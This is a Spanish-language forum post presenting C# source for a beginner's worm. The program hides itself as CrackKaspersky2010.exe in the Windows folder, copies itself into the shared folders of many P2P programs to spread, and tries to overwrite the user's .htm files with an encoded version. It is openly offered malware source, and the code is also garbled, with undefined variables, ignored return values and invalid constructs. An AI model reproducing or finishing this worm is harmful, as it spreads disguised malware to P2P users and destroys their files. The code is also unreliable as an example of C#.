Escribí este tema para presentar un pequeño programa que hice yo en C#.
Soy un novato, así que no lo llamaré virus, pues no se puede considerar virus, aunque tiene principio de worm. Un "virus" más completo está en ciernes.
Lo que hace este virus es copiarse en todas las carpetas de todos los programas P2P y del windows, con el nombre CrackKaspersky2010.exe; se copia también, con una codificación basada en que desde el caracter 48 hasta el 127 suma 80 en el código del programa, en todos los archivos HTM del disco duro "C:\":
Código
PD: El código fuente ocupa 11KB, compilado no sé xD
/* * Ejemplo muy fácil de virus * * 16-1-10 -> 17:21 * * Hecho en C# * * By ArMaGeDdOn2012 */ using System; using System.Collections.Generic; // Prescindibles si lo haces en consola using System.ComponentModel; using System.Data; using System.Drawing; // El Siguiente es necesario para consola (no necesario pero te ahorra tiempo) using System.Text; // A partir de aquí, prescindibles using System.Windows.Forms; using System.IO; namespace WindowsApplication1 { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void Form1_Load(object sender, EventArgs e) { Copiar(); } public void Copiar() { string path = Application.ExecutablePath; string path2 = @"C:\Windows\CrackKaspersky2010.exe"; string path3 = @"C:\Program Files\Grokster\My Grokster\"; string path4 = @"C:\Program Files\Morpheus\My Shared Folder\"; string path5 = @"C:\Program Files\ICQ\shared files\"; string path6 = @"C:\Program Files\KaZaA\My Shared Folder\"; string path7 = @"C:\Program Files\KaZaA Lite\My Shared Folder\"; string path8 = @"C:\Program Files\EDONKEY2000\incoming\"; string path9 = @"C:\Program Files\eMule\Incoming\"; string path10 = @"C:\Program Files\Filetopia3\Files\"; string path11 = @"C:\Program Files\appleJuice\incoming\"; string path12 = @"C:\Program Files\Gnucleus\Downloads\"; string path13 = @"C:\Program Files\LimeWire\Shared\"; string path14 = @"C:\Program Files\Overnet\incoming\"; string path15 = @"C:\Program Files\Shareaza\Downloads\"; string path16 = @"C:\Program Files\Swaptor\Download\"; string path17 = @"C:\Program Files\WinMX\My Shared Folder\"; string path18 = @"C:\Program Files\Tesla\Files\"; string path19 = @"C:\Program Files\XoloX\Downloads\"; string path20 = @"C:\Program Files\Rapigator\Share\"; string path21 = @"C:\Program Files\KMD\My Shared Folder\"; string path22 = @"C:\Program Files\BearShare\Shared\"; string path23 = @"C:\Program Files\Direct Connect\Received Files\"; string path24 = @"C:\Program Files\Ares\My Shared Folder"; File.Move(path, path2); //Mueve el archivo a C:\Windows\Worm.exe File.SetAttributes(path2, FileAttributes.Hidden); //Oculta el archivo if (File.Exists(path2)) { File.Copy(path2, path2); } if (File.Exists(path3)) { File.Copy(path2, path3); } if (File.Exists(path4)) { File.Copy(path2, path4); } if (File.Exists(path5)) { File.Copy(path2, path5); } if (File.Exists(path6)) { File.Copy(path2, path6); } if (File.Exists(path7)) { File.Copy(path2, path7); } if (File.Exists(path8)) { File.Copy(path2, path8); } if (File.Exists(path9)) { File.Copy(path2, path9); } if (File.Exists(path10)) { File.Copy(path2, path10); } if (File.Exists(path11)) { File.Copy(path2, path11); } if (File.Exists(path12)) { File.Copy(path2, path12); } if (File.Exists(path13)) { File.Copy(path2, path13); } if (File.Exists(path14)) { File.Copy(path2, path14); } if (File.Exists(path15)) { File.Copy(path2, path15); } if (File.Exists(path16)) { File.Copy(path2, path16); } if (File.Exists(path17)) { File.Copy(path2, path17); } if (File.Exists(path18)) { File.Copy(path2, path18); } if (File.Exists(path19)) { File.Copy(path2, path19); } if (File.Exists(path20)) { File.Copy(path2, path20); } if (File.Exists(path21)) { File.Copy(path2, path21); } if (File.Exists(path22)) { File.Copy(path2, path22); } if (File.Exists(path23)) { File.Copy(path2, path23); } if (File.Exists(path24)) { File.Copy(path2, path24); } /*Este GRAN código comprueba la existencia de las típicas rutas de -> * instalación de los programas P2P */ String line; while ((line = sr.ReadLine()) != null) { String read = sr.ToString; read.Replace('\u0048', '\u0128'); read.Replace('\u0049', '\u0129'); read.Replace('\u0050', '\u0130'); read.Replace('\u0051', '\u0131'); read.Replace('\u0052', '\u0132'); read.Replace('\u0053', '\u0133'); read.Replace('\u0054', '\u0134'); read.Replace('\u0055', '\u0135'); read.Replace('\u0056', '\u0136'); read.Replace('\u0057', '\u0137'); read.Replace('\u0058', '\u0138'); read.Replace('\u0059', '\u0139'); read.Replace('\u0060', '\u0140'); read.Replace('\u0061', '\u0141'); read.Replace('\u0062', '\u0142'); read.Replace('\u0063', '\u0143'); read.Replace('\u0064', '\u0144'); read.Replace('\u0065', '\u0145'); read.Replace('\u0066', '\u0146'); read.Replace('\u0067', '\u0147'); read.Replace('\u0068', '\u0148'); read.Replace('\u0069', '\u0149'); read.Replace('\u0070', '\u0150'); read.Replace('\u0071', '\u0151'); read.Replace('\u0072', '\u0152'); read.Replace('\u0073', '\u0153'); read.Replace('\u0074', '\u0154'); read.Replace('\u0075', '\u0155'); read.Replace('\u0076', '\u0156'); read.Replace('\u0077', '\u0157'); read.Replace('\u0078', '\u0158'); read.Replace('\u0079', '\u0159'); read.Replace('\u0080', '\u0160'); read.Replace('\u0081', '\u0161'); read.Replace('\u0082', '\u0162'); read.Replace('\u0083', '\u0163'); read.Replace('\u0084', '\u0164'); read.Replace('\u0085', '\u0165'); read.Replace('\u0086', '\u0166'); read.Replace('\u0087', '\u0167'); read.Replace('\u0088', '\u0168'); read.Replace('\u0089', '\u0169'); read.Replace('\u0090', '\u0170'); read.Replace('\u0091', '\u0171'); read.Replace('\u0092', '\u0172'); read.Replace('\u0093', '\u0173'); read.Replace('\u0094', '\u0174'); read.Replace('\u0095', '\u0175'); read.Replace('\u0096', '\u0176'); read.Replace('\u0097', '\u0177'); read.Replace('\u0098', '\u0178'); read.Replace('\u0099', '\u0179'); read.Replace('\u0100', '\u0180'); read.Replace('\u0101', '\u0181'); read.Replace('\u0102', '\u0182'); read.Replace('\u0103', '\u0183'); read.Replace('\u0104', '\u0184'); read.Replace('\u0105', '\u0185'); read.Replace('\u0106', '\u0186'); read.Replace('\u0107', '\u0187'); read.Replace('\u0108', '\u0188'); read.Replace('\u0109', '\u0189'); read.Replace('\u0110', '\u0190'); read.Replace('\u0111', '\u0191'); read.Replace('\u0112', '\u0192'); read.Replace('\u0113', '\u0193'); read.Replace('\u0114', '\u0194'); read.Replace('\u0115', '\u0195'); read.Replace('\u0116', '\u0196'); read.Replace('\u0117', '\u0197'); read.Replace('\u0118', '\u0198'); read.Replace('\u0119', '\u0199'); read.Replace('\u0120', '\u0200'); read.Replace('\u0121', '\u0201'); read.Replace('\u0122', '\u0202'); read.Replace('\u0123', '\u0203'); read.Replace('\u0124', '\u0204'); read.Replace('\u0125', '\u0205'); read.Replace('\u0126', '\u0206'); read.Replace('\u0127', '\u0207'); //******************************************// //******************************************// /* * Esto da las pautas para la sustitución de caracteres */ FileInfo f1; GOTOAAAA: foreach (f1 in d1.GetFiles("*.htm")) { if (d1.Exists()) { d1.Delete(); } using (FileStream fs = File.Create) { fs.Write(read); } } foreach (DirectoryInfo d2 in d1.GetDirectories()) { d1 += d2; goto GOTOAAAA; } //Esto sustituye los archivos *.htm del disco C: } } } }